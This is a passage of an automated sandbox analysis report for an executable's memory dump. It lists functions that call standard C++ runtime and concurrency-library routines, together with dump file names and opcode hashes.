Function 0019E7AF Relevance: 10.6, APIs: 7, Instructions: 102COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 0019E7D7

Part of subcall function 0019E544: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 0019E577
Part of subcall function 0019E544: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 0019E599

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 0019E854
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 0019E860
Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 0019E86F
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 0019E879
Concurrency::location::_Assign.LIBCMT ref: 0019E8AD
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 0019E8B5

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Context$Virtual$DeactivateGroupInternalProcessorProcessor::ScheduleSchedulerSegment$ActiveAssignCommitConcurrency::location::_EventPointsReclaimReleaseRunnableSafeTraceTrigger
String ID:
API String ID: 1924466884-0
Opcode ID: 65a76fd47aa69a9cfa2987d0f4c2a5959b2bdd4e38fd8dab6a667bf4d29750af
Instruction ID: c474d32e666f61ba32f8f513d2d669166b5e7c4864ba43232f013aa741751948
Opcode Fuzzy Hash: 65a76fd47aa69a9cfa2987d0f4c2a5959b2bdd4e38fd8dab6a667bf4d29750af
Instruction Fuzzy Hash: 8A410775A00204EFDF05EFA4C495AADBBB5FF48310F1980A9ED499B382DB30A941CF91

Function 00186E00 Relevance: 9.3, APIs: 6, Instructions: 336COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00186ED1
std::_Rethrow_future_exception.LIBCPMT ref: 00186F22
std::_Rethrow_future_exception.LIBCPMT ref: 00186F32
__Mtx_unlock.LIBCPMT ref: 00186FD5
__Mtx_unlock.LIBCPMT ref: 001870DB
__Mtx_unlock.LIBCPMT ref: 00187116

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Rethrow_future_exceptionstd::_
String ID:
API String ID: 1997747980-0
Opcode ID: 107b8bff4cf886d301bbda3dcc19039acb76dffa4acdb97c6c006d3cb946d260
Instruction ID: d723378ccae053da77360652b921e980203a06b1cca82ae620ac7ba0b940cd40
Opcode Fuzzy Hash: 107b8bff4cf886d301bbda3dcc19039acb76dffa4acdb97c6c006d3cb946d260
Instruction Fuzzy Hash: C3C1E0709042089FDB21EFB4C845BAFBBF5AF15310F10456DE91697691EB31EA48CFA1

Function 001944DE Relevance: 9.2, APIs: 6, Instructions: 196timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 00194538
ListArray.LIBCONCRT ref: 0019456C
Hash.LIBCMT ref: 001945D5
Hash.LIBCMT ref: 001945E5

Part of subcall function 00199C41: std::bad_exception::bad_exception.LIBCMT ref: 00199C63

Concurrency::details::RegisterAsyncTimerAndLoadLibrary.LIBCONCRT ref: 0019474B
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 001947A4

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayHashList$AsyncConcurrency::details::Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorLibraryLoadRegisterTimerstd::bad_exception::bad_exception
String ID:
API String ID: 3010677857-0
Opcode ID: 9522a251294223253d44892307b0ce6dced3c6c5cd13af0bd1c4e0fb6b4319e4
Instruction ID: dbd03c743ba45000b2b301d5e03cc9d97c8dd973836af0f70ca21acb6de02fe9
Opcode Fuzzy Hash: 9522a251294223253d44892307b0ce6dced3c6c5cd13af0bd1c4e0fb6b4319e4
Instruction Fuzzy Hash: 8F8175B0A11B56BBDB18DF74C845BD9FBA8BF19700F10421EF42897281DBB4A654CBD1

Function 0018ECE6 Relevance: 9.1, APIs: 6, Instructions: 101COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0018ECED
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 0018ED17

Part of subcall function 0018F3DD: Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 0018F3FA

__alloca_probe_16.LIBCMT ref: 0018ED53
Concurrency::details::EventWaitNode::Satisfy.LIBCONCRT ref: 0018ED94
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 0018EDC6
__freea.LIBCMT ref: 0018EDEC

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Lock::_Scoped_lock$Acquire_lockConcurrency::critical_section::_Concurrency::details::EventH_prolog3_Node::ReaderReentrantSatisfyScoped_lock::_Scoped_lock::~_WaitWriter__alloca_probe_16__freea
String ID:
API String ID: 1319684358-0
Opcode ID: a459be2b70141a9f7e1b486f936c81735361865b772b265c2321d8588287e796
Instruction ID: 47f2ba9b5c9120b00828242a2d810da82f0652361558e33d7ac066312a04c8dd
Opcode Fuzzy Hash: a459be2b70141a9f7e1b486f936c81735361865b772b265c2321d8588287e796
Instruction Fuzzy Hash: C9319CB1A002158BCB19EFA8C9416ADB7F5EF59310B25416EE845E7390DB309F06CFA0

Function 0018EE5F Relevance: 9.1, APIs: 6, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 0018EEBC
Concurrency::details::WaitBlock::WaitBlock.LIBCMT ref: 0018EEC8
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 0018EEE1
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 0018EF0F
Concurrency::Context::Block.LIBCONCRT ref: 0018EF31

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: Wait$BlockConcurrency::details::_Lock::_Scoped_lock$Block::Concurrency::Concurrency::details::Context::ReaderReentrantScoped_lock::_Scoped_lock::~_SpinWriter
String ID:
API String ID: 1182035702-0
Opcode ID: 51db2a8dad2d3562d305767fd13d4ba0b3f5846865a4b96ac6ab769feed5ea20
Instruction ID: 4eaaf63fcaa3c03f040025710c5f0e341f033455fb0fc6f49e6691f8d36d6c99
Opcode Fuzzy Hash: 51db2a8dad2d3562d305767fd13d4ba0b3f5846865a4b96ac6ab769feed5ea20
Instruction Fuzzy Hash: F1214B70C142198ADF28FFA4C8456EEBBF1BF25320F200A2EE161A61D1E7B18B45CF51

Function 001A1B29 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 104COMMON

Download Yara Rule

